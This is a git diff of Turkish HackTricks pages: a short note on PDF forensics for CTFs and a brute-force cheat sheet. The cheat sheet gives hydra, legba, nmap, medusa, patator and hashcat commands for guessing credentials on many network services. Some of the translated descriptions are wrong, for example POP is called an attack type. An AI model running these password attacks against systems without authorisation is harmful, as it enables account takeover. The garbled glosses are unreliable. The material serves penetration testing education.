diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index a53782881..fe48e3b1f 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -2,51 +2,51 @@
-Sıfırdan kahramana AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +AWS hackleme konusunda sıfırdan kahramana htARTE (HackTricks AWS Kırmızı Takım Uzmanı) kadar öğrenin! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin. +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking hilelerinizi göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pdf-file-analysis) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pdf-file-analysis" %} **Daha fazla ayrıntı için kontrol edin:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) -PDF formatı, verileri gizleme potansiyeli ve karmaşıklığı ile bilinir, bu da onu CTF adli bilişim zorluklarının odak noktası haline getirir. Basit metin öğelerini sıkıştırılmış veya şifrelenmiş olabilecek ikili nesnelerle birleştirir ve JavaScript veya Flash gibi dillerde betikler içerebilir. PDF yapısını anlamak için Didier Stevens'ın [giriş materyallerine](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) başvurulabilir veya bir metin düzenleyici veya Origami gibi PDF'ye özgü bir düzenleyici gibi araçlar kullanılabilir. +PDF formatı, verileri gizleme potansiyeli ve karmaşıklığı ile bilinir, bu da onu CTF adli bilişim zorluklarının odak noktası haline getirir. Basit metin öğelerini ikili nesnelerle birleştirir, sıkıştırılmış veya şifrelenmiş olabilir ve JavaScript veya Flash gibi dillerde betikler içerebilir. PDF yapısını anlamak için Didier Stevens'ın [giriş materyallerine](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) başvurulabilir veya bir metin düzenleyici veya Origami gibi PDF'ye özgü bir düzenleyici gibi araçlar kullanılabilir. -PDF'lerin derinlemesine keşfi veya manipülasyonu için [qpdf](https://github.com/qpdf/qpdf) ve [Origami](https://github.com/mobmewireless/origami-pdf) gibi araçlar mevcuttur. PDF'lerdeki gizli veriler şunlarda gizlenebilir: +PDF'lerin derinlemesine keşfi veya manipülasyonu için [qpdf](https://github.com/qpdf/qpdf) ve [Origami](https://github.com/mobmewireless/origami-pdf) gibi araçlar mevcuttur. PDF'lerdeki gizli veriler, şunlarda gizlenebilir: * Görünmez katmanlar -* Adobe'nin XMP meta veri formatı -* Artımlı nesiller +* Adobe tarafından XMP meta veri formatı +* Artımsal nesiller * Arka planla aynı renkteki metin -* Resimlerin arkasındaki veya resimlerin üzerine binen metin +* Resimlerin arkasındaki veya resimlerin üst üste binmesi * Görüntülenmeyen yorumlar -Özel PDF analizi için [PeepDF](https://github.com/jesparza/peepdf) gibi Python kütüphaneleri, özel ayrıştırma betikleri oluşturmak için kullanılabilir. Ayrıca, PDF'nin gizli veri depolama potansiyeli o kadar geniştir ki, NSA'nın PDF riskleri ve karşı önlemler hakkındaki kılavuzu gibi kaynaklar, orijinal konumunda artık barındırılmıyor olsa da hala değerli içgörüler sunmaktadır. Bir [kılavuz kopyası](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) ve Ange Albertini'nin PDF formatı hakkında daha fazla okuma sağlayan bir [PDF formatı püf noktaları koleksiyonu](https://github.com/corkami/docs/blob/master/PDF/PDF.md) sunabilir. +Özel PDF analizi için [PeepDF](https://github.com/jesparza/peepdf) gibi Python kütüphaneleri, özel ayrıştırma betikleri oluşturmak için kullanılabilir. Ayrıca, PDF'nin gizli veri depolama potansiyeli o kadar geniştir ki, NSA'nın PDF riskleri ve karşı önlemler hakkındaki rehberi gibi kaynaklar, artık orijinal konumunda barındırılmıyor olsa da hala değerli içgörüler sunmaktadır. Bir [rehber kopyası](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) ve Ange Albertini'nin [PDF format hileleri](https://github.com/corkami/docs/blob/master/PDF/PDF.md) koleksiyonu, konu hakkında daha fazla okuma sağlayabilir.
-Sıfırdan kahramana AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +AWS hackleme konusunda sıfırdan kahramana htARTE (HackTricks AWS Kırmızı Takım Uzmanı) kadar öğrenin! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking hilelerinizi göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
diff --git a/generic-methodologies-and-resources/brute-force.md b/generic-methodologies-and-resources/brute-force.md index b101c0b29..963fb2ad0 100644 --- a/generic-methodologies-and-resources/brute-force.md +++ b/generic-methodologies-and-resources/brute-force.md @@ -1,24 +1,24 @@ -# Brute Force - Kopya Kağıdı +# Brute Force - Hile Kağıdı
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)'i kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Edinin: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
-Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* [**Resmi PEASS & HackTricks ürünlerini keşfedin**](https://peass.creator-spring.com) +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin. +* **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin.
@@ -37,7 +37,7 @@ Kullanılan teknolojinin varsayılan kimlik bilgilerini aramak için google'da a * [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords) * [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com) * [**https://many-passwords.github.io/**](https://many-passwords.github.io) -* [**https://theinfocentric.com/**](https://theinfocentric.com/) +* [**https://theinfocentric.com/**](https://theinfocentric.com/) ## **Kendi Sözlüklerinizi Oluşturun** @@ -56,7 +56,7 @@ crunch 6 8 -t ,@@^^%% ``` ### Cewl -Cewl, bir web sitesinden metin çıkarmak için kullanılan bir araçtır. Bu araç, web sitesindeki metinleri analiz eder ve belirli kelimeleri veya kelime gruplarını çıkararak bir kelime listesi oluşturur. Bu kelime listesi daha sonra şifre kırma saldırılarında veya sosyal mühendislik saldırılarında kullanılabilir. +Cewl, bir web sitesinden metin çıkarmak için kullanılan bir araçtır. Genellikle, hedef web sitesindeki metinleri toplamak ve ardından bu metinleri parçalara ayırmak için kullanılır. Bu parçalar daha sonra şifre kırma saldırıları için kullanılabilir. ```bash cewl example.com -m 5 -w words.txt ``` @@ -105,10 +105,10 @@ Finished in 0.920s.
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)'i kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} ## Hizmetler @@ -135,8 +135,6 @@ nmap --script ajp-brute -p 8009 legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl] ``` ### Cassandra - -Cassandra, Apache Software Foundation tarafından geliştirilen ve dağıtılan açık kaynaklı bir NoSQL veritabanı yönetim sistemidir. Cassandra, yüksek performanslı ve ölçeklenebilir dağıtılmış sistemler için tasarlanmıştır. Veritabanı, yüksek erişilebilirlik ve dayanıklılık sağlamak için tasarlanmıştır. ```bash nmap --script cassandra-brute -p 9160 # legba ScyllaDB / Apache Casandra @@ -144,20 +142,20 @@ legba scylla --username cassandra --password wordlists/passwords.txt --target lo ``` ### CouchDB -CouchDB, bir HTTP API'si üzerinden erişilebilen ve JSON belgelerini depolamak için kullanılan bir NoSQL veritabanıdır. +#### Kaba Kuvvet Saldırısı + +Kaba kuvvet saldırısı, bir saldırganın, kullanıcı adı ve şifre kombinasyonlarını deneyerek sisteme erişmeye çalıştığı bir saldırı türüdür. Bu saldırı türü genellikle oturum açma sayfaları veya kimlik doğrulama gerektiren diğer alanlarda kullanılır. Saldırganlar genellikle otomatik araçlar kullanarak büyük bir kombinasyon listesini hızla deneyerek başarılı bir giriş yapmaya çalışırlar. Bu tür saldırılar genellikle zayıf şifreler veya kötü yapılandırılmış kimlik doğrulama mekanizmaları nedeniyle başarılı olabilir. ```bash msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / ``` ### Docker Registry -Docker Registry, Docker imajlarını depolamak ve dağıtmak için kullanılan bir depolama ve dağıtım sistemidir. Docker Registry'ye yetkisiz erişim sağlamak için brute force saldırıları kullanılabilir. Bu saldırılar, kullanıcı adı ve şifre kombinasyonlarını deneyerek Docker Registry'ye erişmeye çalışır. Güvenlik önlemleri alınarak bu tür saldırıların engellenmesi önemlidir. +### Docker Kayıt Defteri ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ ``` ### Elasticsearch - -Elasticsearch, açık kaynaklı bir arama ve analiz motorudur. Elasticsearch, RESTful API'leri aracılığıyla etkileşim sağlar. Elasticsearch, genellikle büyük veri kümelerinde arama yapmak için kullanılır. ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / ``` @@ -188,23 +186,19 @@ legba http.ntlm2 --domain example.org --workstation client --username admin --pa ``` ### HTTP - Post Form -#### Brute Force - -Brute force is a common attack method used to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. This method can be used to crack passwords, access control systems, encryption keys, and more. It is important to note that brute force attacks can be time-consuming and resource-intensive, but they can be effective if proper security measures are not in place. +### HTTP - Post Form ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https ``` -### **HTTP - CMS --** (W)ordpress, (J)oomla veya (D)rupal veya (M)oodle - -http**s** için "http-post-form"dan "**https-post-form"**'a değiştirmeniz gerekmektedir. +### **HTTP - CMS --** (W)ordpress, (J)oomla veya (D)rupal veya (M)oodle için "http-post-form"dan "**https-post-form"**'a değiştirmeniz gerekmektedir. ```bash cmsmap -f W/J/D/M -u a -p a https://wordpress.com # Check also https://github.com/evilsocket/legba/wiki/HTTP ``` ### IMAP -IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. When a hacker is attempting to gain unauthorized access to an email account, they may use a brute force attack against the IMAP server to guess the account password. This involves trying a large number of possible passwords until the correct one is found. +IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. It allows the end user to view and manipulate the messages as though they were stored locally on the end user's device. ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V @@ -213,19 +207,17 @@ legba imap --username user --password data/passwords.txt --target localhost:993 ``` ### IRC -IRC, Internet Relay Chat, birçok farklı brute force saldırı vektörüne izin verir. Kullanıcı adı ve şifre kombinasyonlarını denemek için kullanılabilir. Ayrıca, IRC sunucuları genellikle çok sayıda kullanıcı adı ve şifre denemesine izin verir, bu da brute force saldırılarını daha etkili hale getirir. +IRC, Internet Relay Chat, birçok farklı brute-force saldırılarına karşı savunmasızdır. Kullanıcı adı ve şifre kombinasyonlarını denemek için kullanılabilir. Ayrıca, IRC sunucuları genellikle çok sayıda kullanıcı adı ve şifre denemesine izin verir, bu da brute-force saldırılarını daha etkili hale getirir. ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` -### ISCSI - ### ISCSI ```bash nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` ### JWT -JWT, yani JSON Web Token, kimlik doğrulama ve yetkilendirme için sıkça kullanılan bir standarttır. JWT'ler, Base64 URL ile kodlanmış bir JSON nesnesidir ve genellikle üç bölümden oluşurlar: başlık, yük ve imza. Başlık, JWT'nin türünü ve kullanılan algoritmayı belirtir. Yük, JWT'nin taşıdığı verileri içerir. İmza ise JWT'nin doğruluğunu sağlamak için kullanılan bir değerdir. JWT'lerin güvenliği, doğru şekilde uygulandığında sağlanır. +JWT (JSON Web Token), yani JSON Web İmzası, kimlik doğrulama ve bilgi paylaşımı için kullanılan bir açık standarttır. Bu standart, verileri güvenli bir şekilde JSON formatında taşımak için tasarlanmıştır. ```bash #hashcat hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt @@ -250,14 +242,14 @@ jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibm ``` ### LDAP -### LDAP +LDAP, Hafif Dizin Erişim Protokolü anlamına gelir. LDAP sunucularına karşı brute force saldırıları genellikle kullanıcı adı ve şifre kombinasyonlarını denemek için gerçekleştirilir. Bu saldırı türü, genellikle kullanıcı kimlik doğrulama bilgilerini elde etmek amacıyla gerçekleştirilir. LDAP brute force saldırıları, güvenlik açıklarını tespit etmek ve kapatmak için yapılan pentestler sırasında kullanılabilir. ```bash nmap --script ldap-brute -p 389 legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match ``` ### MQTT -MQTT, Message Queuing Telemetry Transport, bir IoT protokolüdür. MQTT sunucularına karşı brute force saldırıları, genellikle kullanıcı adı ve şifre kombinasyonlarını deneyerek gerçekleştirilir. Bu saldırı türü, güvenlik zafiyetlerini tespit etmek ve güvenlik önlemlerini güçlendirmek için kullanılabilir. +### MQTT ``` ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt @@ -290,7 +282,7 @@ legba mysql --username root --password wordlists/passwords.txt --target localhos ``` ### OracleSQL -### OracleSQL +OracleSQL, Brute Force saldırılarına karşı oldukça hassastır. Brute Force saldırıları genellikle kullanıcı adı ve şifre kombinasyonlarını deneyerek sisteme erişmeye çalışır. OracleSQL veritabanlarına karşı Brute Force saldırıları genellikle güvenlik duvarları tarafından algılanır ve engellenir. Bu tür saldırılara karşı korunmak için karmaşık ve güçlü şifreler kullanılmalıdır. ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 @@ -314,7 +306,7 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt ``` -**oracle_login**'ı **patator** ile kullanabilmek için **yükleme** yapmanız gerekmektedir: +**oracle\_login**'ı **patator** ile kullanabilmek için **yükleme** yapmanız gerekmektedir: ```bash pip3 install cx_Oracle --upgrade ``` @@ -324,9 +316,7 @@ nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid ``` ### POP -### Kaba Kuvvet Saldırısı - -Kaba kuvvet saldırısı, bir şifreleme algoritmasını çözmek veya kimlik doğrulama bilgilerini elde etmek için tüm olası kombinasyonları deneyen bir saldırı türüdür. +POP, kısaltılmış bir saldırı türüdür. Bu saldırı türünde, saldırgan, genellikle oturum açma sayfasında veya API'de kullanılan kullanıcı adı ve şifre kombinasyonlarını denemek için otomatik bir araç kullanır. Bu yöntem, zayıf veya sık kullanılan şifrelerin tespit edilmesi için etkili olabilir. ```bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V @@ -339,7 +329,7 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar ``` ### PostgreSQL -PostgreSQL, açık kaynaklı bir ilişkisel veritabanı yönetim sistemi (RDBMS) dir. PostgreSQL veritabanlarına brute force saldırıları genellikle kullanıcı adı ve şifre kombinasyonlarını deneyerek gerçekleştirilir. Bu saldırı türü, güvenlik açıklarını tespit etmek ve zayıf şifreleri keşfetmek için kullanılır. Saldırganlar genellikle oturum açma sayfasına doğrudan erişmeye çalışarak brute force saldırılarını gerçekleştirirler. Bu tür saldırılara karşı koymak için güçlü ve karmaşık şifreler kullanılmalı ve oturum açma denemelerinin sınırlı olması sağlanmalıdır. +PostgreSQL, açık kaynaklı bir ilişkisel veritabanı yönetim sistemi (RDBMS) dir. Brute force saldırıları, genellikle zayıf veya sızdırılmış şifrelerin belirlenmesinde etkili bir yöntemdir. Saldırganlar, oturum açma sayfasına doğrudan erişim sağlayarak veya uygulama aracılığıyla oturum açarak PostgreSQL veritabanlarına brute force saldırıları gerçekleştirebilirler. Bu tür saldırıları önlemek için güçlü ve karmaşık şifreler kullanılmalı ve oturum açma sayfalarına erişimi sınırlamak için gerekli önlemler alınmalıdır. ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres @@ -358,7 +348,7 @@ cat rockyou.txt | thc-pptp-bruter –u ``` ### RDP -RDP, Remote Desktop Protocol, Windows işletim sistemlerinde uzak masaüstü bağlantısı sağlamak için kullanılan bir protokoldür. +RDP, Remote Desktop Protocol, Windows işletim sistemlerinde uzak masaüstü bağlantısı sağlamak için kullanılan bir protokoldür. RDP brute force saldırıları, genellikle zayıf şifrelerle korunan RDP sunucularına karşı gerçekleştirilir. Bu saldırı türü, oturum açma bilgilerini tahmin etmek için otomatik olarak farklı şifre kombinasyonlarını denemeyi içerir. ```bash ncrack -vv --user -P pwds.txt rdp:// hydra -V -f -L -P rdp:// @@ -366,7 +356,7 @@ legba rdp --target localhost:3389 --username admin --password data/passwords.txt ``` ### Redis -Redis, açık kaynaklı, in-memory veri yapısıyla çalışan bir veritabanı yönetim sistemidir. Redis, anahtar-değer veritabanı olarak kullanılır ve performansıyla bilinir. Redis, genellikle önbellek, oturum yönetimi ve sıralama gibi senaryolarda kullanılır. +Redis, açık kaynaklı, in-memory veri yapısıyla çalışan bir veritabanı yönetim sistemidir. Redis, anahtar-değer veritabanı olarak kullanılır ve genellikle hızlı okuma ve yazma işlemleri için tercih edilir. Redis, brute force saldırılarına karşı savunmasız olabilir, bu nedenle güçlü şifreler ve diğer güvenlik önlemleri kullanılmalıdır. ```bash msf> use auxiliary/scanner/redis/redis_login nmap --script redis-brute -p 6379 @@ -375,43 +365,45 @@ legba redis --target localhost:6379 --username admin --password data/passwords.t ``` ### Rexec -Rexec, kaba kuvvet saldırıları için kullanılan bir protokol ve servistir. Rexec, kullanıcı kimlik doğrulaması için standart UNIX kimlik doğrulama protokollerini kullanır. +Rexec, kaba kuvvet saldırıları için kullanılan bir protokol ve servistir. Rexec, kullanıcı kimlik doğrulaması için kullanıcı adı ve şifre gibi bilgileri şifrelememektedir. Bu nedenle, kaba kuvvet saldırıları genellikle Rexec servisine karşı etkili olabilir. ```bash hydra -l -P rexec:// -v -V ``` ### Rlogin -Rlogin, a remote login service, can be brute-forced by trying different username and password combinations until a successful login is achieved. +Rlogin, a remote login service, can be brute-forced by trying different username and password combinations. This can be achieved using tools like Hydra or Medusa. It is important to note that brute-forcing Rlogin is considered illegal and unethical unless you have explicit permission to do so. ```bash hydra -l -P rlogin:// -v -V ``` ### Rsh -Rsh, Remote Shell, is a simple remote shell client included in most Unix-like operating systems. It can be used to execute commands on a remote system. It is not recommended to use Rsh due to security vulnerabilities, as it sends data in plain text, making it susceptible to interception and unauthorized access. +Rsh, Remote Shell, is a simple remote shell client included in most Unix-like operating systems. It can be used to execute commands on a remote system. It is not secure and transmits data in clear text, so it is recommended to use SSH instead. ```bash hydra -L rsh:// -v -V ``` [http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind) +### Rsync + ### Rsync ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 ``` ### RTSP -RTSP, Gerçek Zamanlı İletim Protokolü'nü ifade eder. Bu protokol, ağ üzerinden ses ve video yayınlarını yönetmek için kullanılır. +RTSP, Gerçek Zamanlı Akış Protokolü anlamına gelir. Bu protokol, ağ üzerinden ses ve video akışlarını yönetmek için kullanılır. ```bash hydra -l root -P passwords.txt rtsp ``` ### SFTP - -SFTP, **Secure File Transfer Protocol** olarak da bilinir, SSH üzerinden dosya transferi yapmak için kullanılan bir protokoldür. SFTP, dosyaları güvenli bir şekilde aktarmak için şifreleme ve kimlik doğrulama sağlar. Saldırganlar, zayıf şifreler veya brute force saldırıları gibi yöntemlerle SFTP sunucularına erişmeye çalışabilir. Bu nedenle, güçlü şifreler kullanmak ve gerekirse ikinci bir kimlik doğrulama faktörü eklemek önemlidir. ```bash legba sftp --username admin --password wordlists/passwords.txt --target localhost:22 # Try keys from a folder legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` ### SNMP + +SNMP, yani Basit Ağ Yönetim Protokolü, ağ cihazlarını yönetmek ve izlemek için kullanılan bir protokoldür. SNMP brute force saldırıları, genellikle varsayılan topluluk dizesi gibi zayıf kimlik doğrulama bilgilerini kullanarak SNMP hizmetlerine erişmeye çalışır. Bu saldırılar, ağ cihazlarının kontrolünü ele geçirmek veya ağ üzerinde casusluk yapmak için kullanılabilir. ```bash msf> use auxiliary/scanner/snmp/snmp_login nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ] @@ -422,7 +414,7 @@ hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt ta #### Kaba Kuvvet Saldırıları -Kaba kuvvet saldırıları, bir hedef sistemdeki kullanıcı adı ve şifre kombinasyonlarını deneyerek giriş yapmaya çalışan saldırı türleridir. SMB protokolü üzerinde kaba kuvvet saldırıları gerçekleştirerek, zayıf şifreler kullanılarak sistemlere erişim elde edilebilir. Bu saldırı türü, güvenlik açıklarını tespit etmek ve zayıf şifreleri güçlendirmek için kullanılabilir. +Kaba kuvvet saldırıları, bir hedef sistemdeki kullanıcı adı ve parola kombinasyonlarını denemek için kullanılan bir saldırı tekniğidir. Bu saldırı türü, genellikle zayıf parolaları tespit etmek veya parola karmaşıklığı politikalarını ihlal eden kullanıcı hesaplarını belirlemek amacıyla kullanılır. Kaba kuvvet saldırıları, oturum açma ekranları, web uygulamaları, veritabanları ve diğer sistemlerde kullanılabilir. Saldırganlar, oturum açma sayfalarına veya hedef sistemlere erişmek için otomatik araçlar veya özel yazılımlar kullanarak büyük bir parola listesini deneyebilirler. Bu saldırı türü, etkili bir şekilde uygulandığında hedef sistemlere yetkisiz erişim sağlayabilir. ```bash nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 @@ -430,7 +422,7 @@ legba smb --target share.company.com --username admin --password data/passwords. ``` ### SMTP -Simple Mail Transfer Protocol (Basit Posta Aktarım Protokolü) olarak da bilinen SMTP, e-posta iletilerinin iletimi için kullanılan standart bir ileti aktarım protokolüdür. +SMTP, Simple Mail Transfer Protocol, e-posta sunucuları arasında iletişim kurmak için kullanılan standart bir iletişim protokolüdür. Gönderen sunucu, alıcı sunucuya e-posta iletisini iletmek için SMTP'yi kullanır. ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL @@ -438,7 +430,7 @@ legba smtp --username admin@example.com --password wordlists/passwords.txt --tar ``` ### SOCKS -SOCKS, yani "Socket Secure", ağ üzerinden güvenli bir şekilde veri 